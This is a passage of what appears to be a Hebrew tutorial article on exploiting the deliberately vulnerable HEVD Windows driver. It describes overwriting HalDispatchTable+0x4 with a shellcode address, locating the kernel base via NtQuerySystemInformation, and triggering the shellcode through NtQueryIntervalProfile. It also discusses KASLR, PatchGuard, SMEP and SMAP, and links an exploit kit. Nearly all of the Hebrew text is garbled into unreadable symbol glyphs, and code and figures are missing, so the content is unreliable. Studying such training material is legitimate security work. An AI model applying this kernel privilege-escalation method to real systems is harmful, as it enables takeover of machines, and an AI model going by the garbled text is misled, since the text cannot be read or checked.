 ˸ˡ˰ˣ˸ˬ ˞˪ˢ ˢ˧˴˵ˮˣ˲ˢNtQueryIntervalProfile  ˭˧˟ ˧˥˩ˣˮˢ ˧˧˪˧ˡˢ ˸˶ˤ˥ˢ˪ ˸˷ˬ˷ˬticks  ˪˷

Performance Counter :ˢ˪˷ ˢˬ˧˸˥ˢ ˭˪ˢ˪ .˫˧ˣ˯ˬ 

NtQueryIntervalProfile (  

IN KPROFILE_SOURCE      ProfileSource ,  

OUT PULONG              Interval );  

 ˶˷˞˩KPROFILE_SOURCE  ˞ˣˢenum. 

˵ˮˣ˲˟ ˫˧˧ˬ˧˦˧ˠ˪ ˫˧˷ˣˬ˧˷˟ ˵ˬ˰˸ˮ ˞˪ ˭˸˧ˮˣ ,˷ˣˬ˧˷˟ ˸˞˴ˬˮ ˞˪ˣ ˦˰ˬ˩ ˞˧ˢ˷ ˭˧˧˴˪˟ ˵˲˸˯ˮ ˞˪˞ ,ˢ˧˴

ˢˬ ˢ˟ ˷ˬ˸˷ˢ˪-User-Mode. 

ˢ ˪˰ ˸ˣˮˮˣ˟˸ˢˬ-Disassembly  ˢ˞˟ˢ ˢ˞˧˶˵ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷0x6B :ˢ˸˪˧˥˸ˬ ˫˧˸˟ 

 

 ˪˩ ˶ˣ˟˰ ˸˰˴˟˸ˬ ˢ˞˧˶˵ˢProfileSource ˬ ˢˮˣ˷-0. 

 ˸˞ ˭˥˟ˮ ˫˞nt!KeQueryIntervalProfile ˢ˞˶ˮ ,˟ ˰˧˲ˣˬ˷ ˢ˧˧ˮ˷ˢ ˸˟ˣ˸˩˪ ˢ˞˧˶˵ ˢ˟ ˸ˬ˧˧˵˷-

HalDispatchTable: 

 

 ˪˩ ˶ˣ˟˰ ˰˴˟˸˸ ˢ˞˧˶˵ˢProfileSource ˬ ˢˮˣ˷-1.  
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ˢ ˪˷ ˢˮ˧˥˟ˬ-HalDispatchTable ˫˷˟ ˢ˧˴˵ˮˣ˲˟ ˶˟ˣˡˬ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,hal!HaliQuerySystemInformation: 

 

˟ ˢ˰˧˲ˣˬ˷ ˸˟ˣ˸˩ˢ ˸˞ ˯ˣ˶ˡˮ ˫˞-HalDispatchTable+0x4˵ˮˣ ,ˢˬ ˞˶-User-Mode ˪-

NtQueryIntervalProfile˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ ,-shellcode ˟ ˣˮ˪˷-Context  ˪˷Kernel-Mode ˭˪ˢ˪ .

ˬ ˥ˣ˵˪ˢ ˫˧˷˶˸-osandamalith.com :˪ˣ˴˧ˮˢ ˸˦˧˷ ˸˞ ˶˞˸ˬˢ 

 

 ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˡ˴˧˩ ˭˧˟ˢ˪ ˶˸ˣˮ .˟ˣ˸˩˪ ˫˧˴ˣ˶ ˣˮ˞ ˢˬ ˣˮ˪ ˶ˣ˶˟ˣ ,ˢ˟˧˸˩˪ ˢ˶˦ˬ ˣˮ˪ ˷˧ ˤ˞

.ˣˮ˪˷ ˢ˶˦ˬˢ 
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ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰-HalDispatchTable ˢ˧˴˵ˮˣ˲˟ ˶ˤ˰˧ˮ ,NtQuerySystemInformation ,

˟ ˸ˣ˴˶˷ ˸ˣ˧˴˵˧˪˲˞ ˣ˟ ˵˷ˬˬ ˸˵˲˯ˬ ˶˷˞-userland  ˸˩˶˰ˬ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˪˰ ˪ˮ˶˵ˢ ˸˞ ˪˞˷˸˪ ˸ˣ˪ˣ˩˧

:ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢˬ˧˸˥ˢ ˭˪ˢ˪ .ˢ˶ˬˣ˥ˢˣ ˢ˪˰˲ˢˢ 

NTSTATUS WINAPI NtQuerySystem Information (  

  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass ,  

  _Inout_   PVOID                    SystemInformation ,  

  _In_      ULONG                    SystemInformationLength ,  

  _Out_opt_ PULONG                   ReturnLength  

);  

 ˶˷˞˩SystemInformationClass  ,˪˞˷˸˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞ ˣ˸ˣ˞ ˰ˡ˧ˬˢ ˠˣ˯ ˸˞ ˭˧˧˴ˬSystemInformation 

 ,˰ˡ˧ˬˢ ˫˷˶˧ ˣ˧˪˞ ˶˲˞˟ˢ ˞ˣˢSystemInformationLength ˣ ,˶˲˞˟ˢ ˪˷ ˨˶ˣ˞ˢ ˞ˣˢ-ReturnLength 

 ˪˩ˣˮ ,˶˲˞˟ˢ ˸˞ ˸ˣ˴˵ˢ˪ ˪ˡˣˠ ˢˤ˧˞˟ ˫˧˰ˡˣ˧ ˞˪ ˣˮ˞ˣ ˢˡ˧ˬ˟ .˶˲˞˟˪ ˣˬ˷˶ˮ˷ ˫˧˸˟ˢ ˶˲˯ˬ ˸˞ ˭˧˧˴ˬ

˵˪ ˶˷˞˩ ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶SystemInformation x-SystemInformationLength  ˫ˢ0 ˪˰ ˤ˞ˣ ,ReturnLength 

.˸ˣ˴˵ˢ˪ ˣˮ˧˪˰˷ ˶˲˞˟ˢ ˨˶ˣ˞ ˶ˤ˥ˣ˧ 

SYSTEM_INFORMATION_CLASS  ˞ˣˢenum  ˦˪˥ˣˬˢ ˫˟ˣ˶ ,˪˞˷˸˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˰ˡ˧ˬˢ ˧ˠˣ˯ ˸˞ ˪˧˩ˬ˷

 ˞ˣˢ ˡ˥ˣ˧ˬ˟ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ˷ ˰ˡ˧ˬ ˠˣ˯ .ˡ˰ˣ˸ˬ ˞˪SystemModuleInformation ˞ˣˢ ˣ˩˶˰ˣ ,0x0B. 

 

˪ ˞˶˵ˮ ˫˞-NtQuerySystemInformation  ˫˰SystemModuleInformation  ˫˧˴ˣ˶ ˣˮ˞˷ ˰ˡ˧ˬˢ ˠˣ˯ ˶ˣ˸˟

 ˞ˣˢ ˶ˤ˥ˣ˧˷ ˰ˡ˧ˬˢ ,˪˞˷˸˪_SYSTEM_MODULE_INFORMATION ˨˞ ,ˡ˰ˣ˸ˬ ˞˪ ˞ˣˢ ˫ˠ˷ ˢˮ˟ˬ ,

˭˪ˢ˪ .˶˟˰˟ ˣ˪˷ ˢˮ˟ˬˢ ˸˞ ˭˧˟ˢ˪ ˣ˥˧˪˴ˢ ˶˟˩ ˫˧˶˵ˣ˥ ˣˮ˪ˤˬ˪ :ˢˮ˟ˬˢ ˦ˣ˶˧˲ 
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˟ ˡ˥ˣ˧ˬ˟ ˫˧ˮ˧˧ˮ˰˸ˬ ˣˮ˞-Modules[0].ImageBaseAddressˢ ˭ˣ˰˦ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬ ˶˷˞ ,-Kernel 

Image )ntoskrnl.exe/ntkrnlpa.exe˟ ˭˩ˣ ,(-Modules[0].Nameˢ ˪˷ ˫˷ˢ ˸˞ ˸ˣ˪ˠ˪ ˸ˮˬ ˪˰ ,-Image. 

˟ ˷ˬ˸˷ˬ ˞˟ˢ ˡˣ˵ˢ-NtQuerySystemInformation ˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˫˷ˢ ˸˞ˣ ˭ˣ˰˦ ˢ˧˪˞ ˸˟ˣ˸

ˢ ˪˷-Kernel Image: 

 

˟ ˣ˸ˣ˞ ˳˧˶ˮ˷˩-vm:˞˟ˢ ˦˪˲ˢ ˸˞ ˪˟˵ˮ , 

 

 ˸˶ˤ˰˟ ˢˮˣ˩ˮ ˭˩˞ ˸˟ˣ˸˩ˢ˷ ˞ˡˣˣˮWinDbg: 

 

 ˢ˪ˣ˰ˬJ ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰-HalDispatchTable:˸ˣ˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˮ , 

1.  ˸˞ ˭˰˦ˮntkrnlpa.exe ˪-userland  ˸˶ˤ˰˟LoadLibrary. 
 

2.  ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ˪˷HalDispatchTable ˟-userland  ˸˶ˤ˰˟GetProcAddress. 
 

3.  ˪˷ ˷˶˲ˢˢ ˸˞ ˟˷˥ˮnt!HalDispatchTable  ˪˷ ˭ˣ˶˩˧ˤˢ ˸˪˧˥˸ˬntkrnlpa.exe ˞ˣˢ ˢˤˢ ˷˶˲ˢˢ .

 ˭˧˟ ˷˶˲ˢˢ ˫ˠnt!HalDispatchTable  ˸˪˧˥˸ˬnt .˧˪ˮ˶˵ˢ ˭ˣ˶˩˧ˤ˟ 
 

4.  ˪˧˥˸ˬ ˢ˟ ˸˟ˣ˸˩˪ ˷˶˲ˢˢ ˸˞ ˱˧˯ˣˮnt  ˸˶ˤ˰˟ ˣˮ˲˪ˡˢ ˢ˸ˣ˞) ˪ˮ˶˵˟

NtQuerySystemInformation.( ˢ ˪˷ ˸˟ˣ˸˩ˢ ˢ˧ˢ˸ ˣˤˢ ˸˟ˣ˸˩ˢ-HalDispatchTable  ˭ˣ˶˩˧ˤ˟

.˧˪ˮ˶˵ˢ 
 

5.  ˱˧˯ˣˮ ,˱ˣ˯˟˪4 .ˣˮ˪˷ ˢ˟˧˸˩ˢ ˸˶˦ˬ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˟˵˪ ˸ˮˬ ˪˰ 
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ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˯˧˲ˡˬˣ ,ˣˮ˶˞˧˸˷ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˬ ˞˟ˢ ˡˣ˵ˢ ˰˦˵-HalDispatchTable  ˪˷ ˭˩ˣ

:˯ˣ˶ˡ˪ ˢ˴˶ˮ ˢ˸ˣ˞ ˢˬˣ˷˶ˢ 

 

:ˣˮ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˢˮˣ˩ˬ˟ ˡˣ˵ˢ ˰˦˵ ˪˷ ˦˪˲ˢ ˭˪ˢ˪ 

 

 ˸˶ˤ˰˟ ˣ˸ˣˮˣ˩ˮ ˸˞ ˞ˡˣˣˮWinDbg: 

 

ˢ˪ˣ˰ˬ! J 

ˢ ˸˷˪ˣ˥ ˸˞ ˪˴ˮˮ ,ˢ˸˰-Arbitrary Overwrite ˢ ˶˷˞˩ ,˶˟˧˧˶ˡ˟-What ˢ ˪˷ ˸˟ˣ˸˩ˢ ˢ˧ˢ˧ ˣˮ˪˷-

shellcode ˢˣ ,(ˣ˲ˣ˯˟ ˸ˣˡ˥ˣ˧ˬ ˸ˣˬ˞˸ˢ ˰˴˟˪ ˨˶ˣ˴ ˭˧˞ ˭˞˩ ˫ˠ) ˣˮ˪˷-Where  ˸˟ˣ˸˩ˢ ˢ˧ˢ˧ˢ ˪˷-

HalDispatchTable ˸˶ˤ˰˟ ˣˮ˞˴ˬ ˢ˸ˣ˞ ,NtQuerySystemInformation˟ ˶ˣ˴˰ˮ .-WinDbg  ˸ˬ˪˷ˢ ˶˥˞˪

ˢ ˪˷ ˸˟ˣ˸˩ˢ˷ ˸ˣ˞˶˪ ˸ˮˬ ˪˰ ˢ˷˵˟ˢ-shellcode ˪ ˢ˟˸˩ˮ ˭˩˞ ˣˮ˪˷-HalDispatchTable+4: 

 

˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˪ ˸ˮˬ ˪˰ ,˱ˣ˯˟˪-Shellcode ˪ ˞˶˵ˮ ,ˣˮ˪˷-NtQueryIntervalProfile  ˫˰ProfileSource 

ˬ ˢˮˣ˷-0 ˬˣ-1:ˣˮ˸ˣ˞ ˵˲˯˧ ˞˟ˢ ˡˣ˵ˢ . 
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ˢ ˪˩ ˸˞ ˳˧˶ˮ-exploit ˟ ˣˮˬ˵˧ˬ˷ ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ˷ ˢ˞˶ˮˣ ,ˣˮ˪˷-Shellcode ˟ ˢ˴˲˵-WinDbg ˫˞ .

˟ ˪˩˸˯ˮ-backtraceˬ ˢ˸˪˰ ˞˧ˢ˷ ˢ˞˶ˮ ,-NtQueryIntervalProfile: 

 

 ˸˶ˤ˰˟ ˢ˴˧˶ˢ ˸˞ ˨˧˷ˬˮg  ˸ˣ˞˷˶ˢˢ ˫˰˷ ˷ˬ˸˷ˬˢ ˸˞ ˭˥˟ˮ ˭˩ˬ ˶˥˞˪ˣ:˳˶ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˣ˪˷ 

 

.˶ˬ˞ˬ˟ ˢˮˣ˶˥˞ˢ ˫˰˲˟ ˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˨˶ˣ˴˪ ˢ˷˪ˣ˥ ˣˮ˪˴˧ˮ ˨˩˟ˣ 

 ˪ˣ˴˧ˮ˪ ˣˤˢ ˢ˦˧˷ˢ˷ ˭˧˧˴˪ ˟ˣ˷˥Arbitrary Overwrite .˶˸ˣ˧ ˸ˣ˷ˡ˥ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟ ˸˧˶˷˲˞ ˞˪ ˶˟˩ 
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˪ˮ˶˵˟ ˸ˣˮˠˢ 

 ˢˮˠˢ ˧ˮˣˮˠˮˬ ˢˬ˩ ˢ˶˴˵˟ ˶ˣ˵˯˪ ˧˪˟ˬ ˫˪˷ ˢ˧ˢ˧ ˞˪ ˪ˮ˶˵˟ ˢ˧˴˦˧˪ˣ˲˯˵˞˟ ˭ˡ˷ ˶ˬ˞ˬ .˪ˮ˶˵˪ ˫˧˧ˡˣ˥˧˧

.ˢ˶˴˵˟ ˫ˢ˟˷ ˫˧˧˶˵˧˰ˢ ˪˰ ˭ˣˡˮ 

KASLR ˣ˞ ,Kernel Address Space Layout Randomization ˣˮ˧ˢ ,ASLR  .˪ˮ˶˵ˢ ˸ˬ˶˟ASLR  ˢˮˠˢ ˢˮ˧ˢ

 ˧˶ˣˤ˞ ˫˧ˮ˰˦ˮ ˫ˢ˧˪˞ ˸ˣ˟ˣ˸˩˪ ˸ˬ˧ˣ˯ˬ ˢ˧˴ˤ˧ˬˣˡˮ˶ ˸˰˴˟ˬˣ ,˸ˣ˧ˣ˲˴ ˸ˣ˧ˢ˪ ˭ˣ˶˩˧ˤ ˸ˣ˟ˣ˸˩ˬ ˰ˣˮˬ˪ ˢˡ˰ˣˮ˷

˫ˣ˵˧ˬ ˣˬ˩ ,˨˧˪ˢ˸˟ ˟ˣ˷˥ ˰ˡ˧ˬ ) ˡˣ˵ˢ ˦ˮˬˠ˯ ,ˢˬ˧˶˰ˢ ,˸˧ˮ˯˥ˬˢ.text ˸˰˴˟˸ˬ ˢ˧˴ˤ˧ˬˣˡˮ˶ˢ .ˡˣ˰ˣ (

 .˭˰˦ˮ ˨˧˪ˢ˸ˢ˷ ˫˰˲ ˪˩˟KASLR  ˞ˣˢASLR  ˫˧ˮˣ˷ ˰ˡ˧ˬ ˧˶ˣˤ˞˪ ˢ˧˴ˤ˧ˬˣˡˮ˶ ˰˴˟ˬ ˨˩˩ˣ ,˪ˮ˶˵ˢ ˸ˬ˶˟

 ˢˮˣ˩ˬˢ ˡˣ˰ ˪˩ ˸ˣ˰ˣ˟˵ ˸ˣ˶˞˷ˮ ˸ˣ˟ˣ˸˩ˢ ,ˢˮˣ˩ˬˢ ˸˧˧˪˰˟ ˵˶ ˭˰˦ˮ ˪ˮ˶˵ˢ˷ ˭ˣˣ˧˩ˬ ˨˞ ,˧˪ˮ˶˵ˢ ˟˥˶ˬ˟

˪ .˸˵˪ˣˡ-KASLR ˞.˶ˬ˞ˬ˟ ˣˮˠ˴ˢ ˫˸ˣ˞ ˪ˣ˴˧ˮˢ ˧˩˶ˡˣ ˸ˣ˷˪ˣ˥ˢ ˪˰ ˢ˰˲˷ˢ ˭˧ 

PatchGuard  ˣ˞Kernel Patch Protection (KPP)  ˸ˣ˯˶ˠ˟ ˵˶ ˫˧˧˵ ˶˷˞ ˢˮˠˢ ˭ˣˮˠˮˬ ˣˮ˧ˢ64bit  ˪˷

Windowsˢ ˣˬ˩ ,˧˪ˮ˶˵ ˰ˡ˧ˬ ˪˷ ˢ˯˧˶ˡ ˰ˣˮˬ˪ ˣ˸˶˦ˬˣ ,-SSDT )System Service Descriptor Table .(

˶˴ ˶˲˯ˬ ˪˰ ˸ˣˮ˰˪ ˢ˟ ˭ˣˮˠˮˬˢ ˧˲˩ :˶˸ˣ˧ ˢ˟˧˴˧ ˢ˪˰˲ˢ ˸˩˶˰ˬ˪ ˨˶ˣ˴ˢ ˞ˣˢ ˫ˢ˟ ˧˶˵˧˰ˢ ˶˷˞˩ ,˫˧˩

 ˰˧˲ˣˬ ,˪ˮ˶˵˟ ˸˪˲ˣ˦ˬ ˞˪ ˢ˞˧ˠ˷ ˢ˪ˣ˰ ˶˷˞˩ ,ˣˮ˧˞˶˷BSoD ˸ˣ˪˵˸ ˸ˣ˟˵˰˟ ˸ˣ˶ˣ˵ ˟ˣ˶˪ ˣ˪˞˩ ˸ˣ˞˧ˠ˷ .

ˡ˴ ˫˧˶˟˧˧˶ˡ ˡˣ˵˲˸˟- ˡ˥˞ .˦˲ˣ˯ˣ˶˵˧˧ˬ ˸˞ ˫˧˷˞˧ˣ ,ˢˤ ˸˞ ˰ˡˣ˧ ˞˪ ˰˴ˣˬˬˢ ˷ˬ˸˷ˬˢ ˨˞ ,˧˷˧˪˷

˰˷ ˶˸ˣ˧ ˫˧ˮ˩ˣ˯ˬˢ ˫˧˶˟ˡˢˡ˴ ˫˧˟˧˩˶ ˣ˷- ˫˧˧˪ˮ˶˵ ˫˧ˮ˟ˬ ˨ˣ˶˰˪ ˞ˣˢ ,ˢ˥˦˟˞ ˧˶˴ˣˬ ˡ˥ˣ˧ˬ˟ ,˧˷˧˪˷

 ,˸ˣ˟˶ ˫˧ˬ˰˲ .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˭ˣ˩ˡ˰ ˪˩˟ ˸ˣˮ˸˷ˢ˪ ˫˧˪ˣ˩˧ˣ ˫˧ˡ˰ˣ˸ˬ ˞˪˷ ,ˡˣ˞ˬ ˫˧˷˧ˠ˶ˣ ˫˧˧ˬ˧ˮ˲

 ,˭˩ ˣˬ˩ .˸˩˶˰ˬˢ ˪˷ ˸ˣ˯˧˶˵˪ ˢˬ˶ˠˣ ,˵˧˲˯ˬ ˸˧ˡˣ˯˧ ˞˪ ˢ˶ˣ˴˟ ˢ˸˷˰ˮ ˢ˩˧˶˰ˢRootkits  ˣˠˢˮ ˫ˢ˧ˮ˧ˬ˪

˟ˬˢ ˸˞ ˯ˣ˶ˡ˪) ˫˧˧ˣˬ˯ ˶˞˷˧ˢ˪ ˸ˮˬ ˪˰ ˣ˪˪ˢ ˫˧ˮhookingˢ .(-PatchGuard  ,ˣˤˢ ˢ˧˰˟ˢ ˸˞ ˶ˣ˸˲˪ ˢ˟

.˫˧˷˧ˠ˶ ˫˧ˮ˟ˬ ˪˷ ˢ˩˧˶˰ ˶˷˲˞ˬ ˞˪ ˞ˣˢ˷ ˨˩˟ 

SMEP  ˣ˞Supervisor Mode Execution Protection  ˢˮ˧ˢˢ˦˧˷ ˞ ˷˶ ˢ˲ˣˬˬ˷ ˡˣ˵ ˸˴˶ˢ ˰ˣˮˬ˪ ˢ˸˶˦ˬ

ˬ ˢ˩ˣˬˮˢ ˸˟ˣ˸˩) ˷ˬ˸˷ˬˢ ˪˷ ˸˟ˣ˸˩ˢ ˟˥˶ˬ˪-0x80000000 (-˟context  ˪˷Kernel-Mode ˢˮˠˢˢ .

 ˪˷ ˸˟ˣ˸˩/ˢ˶ˤ˥ ˸˟ˣ˸˩ ˸˯˧˶ˡ ˪˷ ˸ˣ˶˷˲˞ˢ ˸˞ ˰ˣˮˬ˪ˣ ,˪ˮ˶˵˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˪˰ ˸ˣ˷˵ˢ˪ ˢˡ˰ˣˮ ˣˤˢ

ˢˬ ˞˶˵˸˷ ˢ˧˴˵ˮˣ˲-Kernel-Mode  ˣˤˢ ˢˮˠˢˢ .˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ˟ ˸˞˴ˬˮ˷ ˸˟ˣ˸˩˪

 ˫˧˩ˬ˸˯ˬ ˫˪ˣ˩˷ ˭ˣˣ˧˩ˬ ,˭˞˩ ˣˮˠ˴ˢ˷ ˫˧˦˧ˣ˪˲˯˵˞ˢ ˪˩ ˸˞ "˸ˠ˶ˣˢ"˪ ˢ˴˧˲˵ ˪˰-shellcode ˟ ˞˴ˬˮ˷-

userland ˪˷ˬ˪ ,ˣˤ ˢˮˠˢ ˱ˣ˵˰˪ ˫˧˩˶ˡ ˶˲˯ˬ ˭ˮ˷˧ .ROP. 

SMAP  ˣ˞Supervisor Mode Access Prevention ˪ ˢˬ˧˪˷ˬ ˢˮˠˢ ˞˧ˢ-SMEP ˡˣ˵ˬ ˰ˣˮˬ˪ ˢ˸˶˦ˬˣ ,

˟ ˳˶˷-supervisor-mode )Kernel-Mode ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ˟ ˸ˣ˞˴ˬˮˢ ˸ˣ˟ˣ˸˩˪ ˸˷ˠ˪ (

˩ ˣ˞ ˢ˞˧˶˵˪.ˢ˟˧˸ 
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˫ˣ˧˯ ˧˶˟ˡ 

 ˪˷ ˪ˮ˶˵˟ ˢ˧˴˦˧ˣ˪˲˯˵˞ ˪˰ ˰ˡ˧ˬ ˭˧˞ˣ ˦˰ˬ˩˷ ˧˸˧˞˶˷˩ ˫ˣ˷˶˪ ˧˸˦˪˥ˢ ˶ˬ˞ˬˢ ˸˞Windows 

˟ ˪ˣ˴˧ˮ ˸ˣ˦˧˷ˣ ˢ˥˦˟˞ ˸ˣˮˣ˶˵˰ ˫˧˶˧˩ˬ˷ ˫˧˷ˮ˞ ˫ˠ ˸ˣ˟˶ ˫˧ˬ˰˲˷ ˧˸˧˞˶˷ ˶˥˞ˬˣ ,˸˧˶˟˰˟-User-

Mode ˢˬ ˫˧˰˸˶ˮ-Kernel-Mode˵˟ ˢ˧˴˦˧ˣ˪˲˯˵˞˷ ˢ˞˶˧˷ ˶ˬ˞ˬ ˫ˣ˷˶˪ ˧˸˧˴˶ .˵ˡ˴˟ ˞˪ˣ , ˞˧ˢ ˪ˮ˶

 ˪˰ ˭˧ˤˠˬˢ ˧˞˶ˣ˵ ˟˶˵˟ ˸ˣ˰ˡˣˬˢ ˸˞ ˸ˣ˪˰ˢ˪ ˧˸˧˴˶ ,˭˩ ˣˬ˩ .ˢˮˬˬ ˰˸˶˧ˢ˪ ˢ˟˧˯ ˭˧˞˷ˣ ,˶ˣ˥˷ ˫˯˵ ˞˪

.˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˨˶ˣ˴˪ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ 

 ˸ˣ˞˴ˬˮ˷ ˢ˧˴˦˧ˣ˪˲˯˵˞ ˸ˣ˦˧˷ ˪˰ ˫ˣ˷˶˪˷ ˧˸˦˪˥ˢ ,˱ˣ˯˟˪ .˱˵˧ˢ ˢˤ˧˞˟ˣ ,˫ˣ˷˶˪ ˢˬ ˪˰ ˧˸˦˟˪˸ˢ

 ˣˬ˩ ,˸ˣ˷ˡ˥ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟ ˷ˣˬ˧˷˟Windows 10 ˪˵ˣ ˧˯˧˯˟ ˞˷ˣˮˬ ˪˧˥˸ˢ˪ ˱˧ˡ˰˷ˣ ,˸ˣ˰˦ ˢ˧ˢ˸ ,

 ˵ˬˣ˰˪ˣ ˱˧˵ˬ ˭˲ˣ˞˟ ˣ˸ˣ˞ ˶ˣ˵˯˪ˣ ˶˸ˣ˧-  ˪ˮ˶˵ ˸˧˴˦˧ˣ˪˲˯˵˞˟ ˭ˣˡ˪ ˧˸˶˥˟ ˨˩ˣ-˟Windows 7˟ ˢ˶˧˥˟ˢ .-

HEVD  ˸˧˰˟˦ ˢ˸˧˧ˢ-  ˸ˣ˦˧˷˟ ˡ˵ˬ˸ˢ˪ ˶˷˲˞ˬ˷ ˢˬ ,˰˲˷˟ ˸ˣ˞˴ˬˮˣ ˸ˣ˶ˣ˶˟ ˸ˣ˷˪ˣ˥ˢ ˣ˟˷ ˶˟˧˧˶ˡ

.ˠ˧˴ˢ˪ ˧˸˧˴˶ ˭˸ˣ˞ ,˸ˣˮˣ˷ˢ ˪ˣ˴˧ˮˢ 

˸˶˥˟˟ ˸ˣˬ˧˧˵˷ ˸ˣ˷˪ˣ˥ˢ ˪˩ ˸˞ ˸ˣ˯˩˪ ˧-HEVD  ˶˟˧˧˶ˡˢ˷ ˡˣˬ˧˪ˢ ˸ˣ˧ˣ˶˷˲˞ ˪˩ ˸˞ ˪˴ˮ˪ ˸ˮˬ ˪˰

 ,˵ˬˣ˰˪ ˶˵˯ˮ ˶˵˯ˮ˷ ˞˷ˣˮ ˪˩ .˪ˮ˶˵˟ ˪ˣ˴˧ˮ ˸ˣ˦˧˷ˣ ˸ˣ˷˪ˣ˥ ˪˷ ˢ˟˥˶ ˢ˶˧˵˯ ˵˲˯˪ ˸ˮˬ ˪˰ˣ ,˵˲˯ˬ

ˣ˞ ˭ˣ˧˯˧ˮ ˧˶˯˥ ˫˧˷ˮ˞ ˫ˠ˷ ˨˩ ,˞˷ˣˮ ˪˩˟ ˵ˬ˰˸ˢ˪ ˞˪˞ ˫˧˧ˡ˧ ˧˲ˣˮ˲ˮ˟ ˶˟ˡ ˫ˣ˷ ˶˧˟˯ˢ˪ ˞˪˷ ˧˸˪ˡ˸˷ˢˣ 

.˶ˬ˞ˬˢ ˭ˬ ˡˣˬ˪˪ ˣ˪˩ˣ˧ ˦˰ˣˬ ˭ˣ˧˯˧ˮ ˧˪˰˟ 

 ˫ˠ˷ ˭˟ˣˬ˩ˣ ,˸˧˶˟˰˟ ˞˪˷ ˡ˥ˣ˧ˬ˟ ,˫ˢ˧˪˰ ˶˧˟˯ˢ˪ ˦ˣ˷˲ ˞˪˷ ˫˧˞˷ˣˮ ˣ˪˞ˣ ˫˪˷ˣˬ ˪˩ˢ ˞˪ ,˸˞ˤ ˫˰

 ˭˵˸˪ ˰ˡ˞˷ ˪˧˟˷˟ ,˫ˢ˟ ˫˸˪˵˸ˮˣ ˢˡ˧ˬ˟ ˣ˪˞˩ ˫˧˶˵ˬ ˪˰ ˰ˣˬ˷˪ ˥ˬ˷˞ .˫˷ˣ ˢ˲ ˸ˣ˧ˣ˰˦ ˣ˪˲ˮ˷ ˣˮ˩˸˧

.˫˸ˣ˞ 

˦˧˷˟ ˷ˬ˸˷ˬ˷ ˦˵˧ˣ˶˲ ˧˸˟˸˩ ,˶ˬ˞ˬ˪ ˥˲˯ˮ˩ ˸ˣ˷˪ˣ˥ˢˬ ˸˥˞ ˪˩ ˪˴ˮ˪ ˸ˮˬ ˪˰ ˶ˬ˞ˬ˟ ˸ˣ˶˞ˣ˸ˬˢ ˸ˣ

˪ ˢˬˣˡ˟ ,˷ˬ˸˷ˬˢ ˸˶˧˥˟ ˧˲ ˪˰ ,˶ˬ˞ˬ˟ ˣˮ˶˵˯˷-exploit kit  ˫˰ ˰˧ˠˬ˷ ˢˮ˟ˣˬˢHEVD ˶˶˥˷ˬ ˧ˮ˞ .

 ˫˷˶ˮ ˞ˣˢˣ ˡˣ˞ˬ ˢ˩ˣˬˮ ˡˣ˵˟ ˶ˣˬ˧ˠˢ ˸ˬ˶˷ ˭ˣˣ˧˩ˬ ˶˵˧˰˟ ,˶ˬ˞ˬˢ ˫˰ ˡ˥˧˟ ˣ˪˷ ˸˪˲ˬˣ˵ˬˢ ˢ˯˶ˠˢ ˸˞

 ˧˩˶ˣ˴˪ ˶˵˧˰˟PoC ˞ ˱˸˷˪ ˥ˬ˷˞ .˫˧˧ˡ˧ˬ.˫˧ˮ˧˧ˮ˰˸ˬˢ ˫˰ ˣ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ ˸ 

!ˢ˞˧˶˵ˢ ˪˰ ˢˡˣ˸ 

 :˞˷ˣˮ ˪˩˟ ˸ˣ˧ˮ˲ˣ ˸ˣ˶˰ˢ ,˸ˣ˪˞˷˪ ˪˧˧ˬ˟ ˸ˣˮ˰˪ ˥ˬ˷˞uval4u21@gmail.com J 

 ˸˞HEVD :˭˞˩ ˞ˣ˴ˬ˪ ˭˸˧ˮ 

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver 

 

ˢ ˸˞-exploit kit  :˭˞˩ˬ ˡ˧˶ˣˢ˪ ˭˸˧ˮ 

http://www.digitalwhisper.co.il/files/Zines/0x5A/hevd_exploit_kit.rar 

mailto:uval4u21@gmail.com
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
http://www.digitalwhisper.co.il/files/Zines/0x5A/hevd_exploit_kit.rar
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˫˧˯ˮ˶˲˶ 

1. ˪˰ user mode ˸ˬˣ˰˪ kernel mode: 

https://blog.codinghorror.com/understanding-user-and-Kernel-Mode  

2. ˪˰ ˫˧˶˟˧˧˶ˡ: 

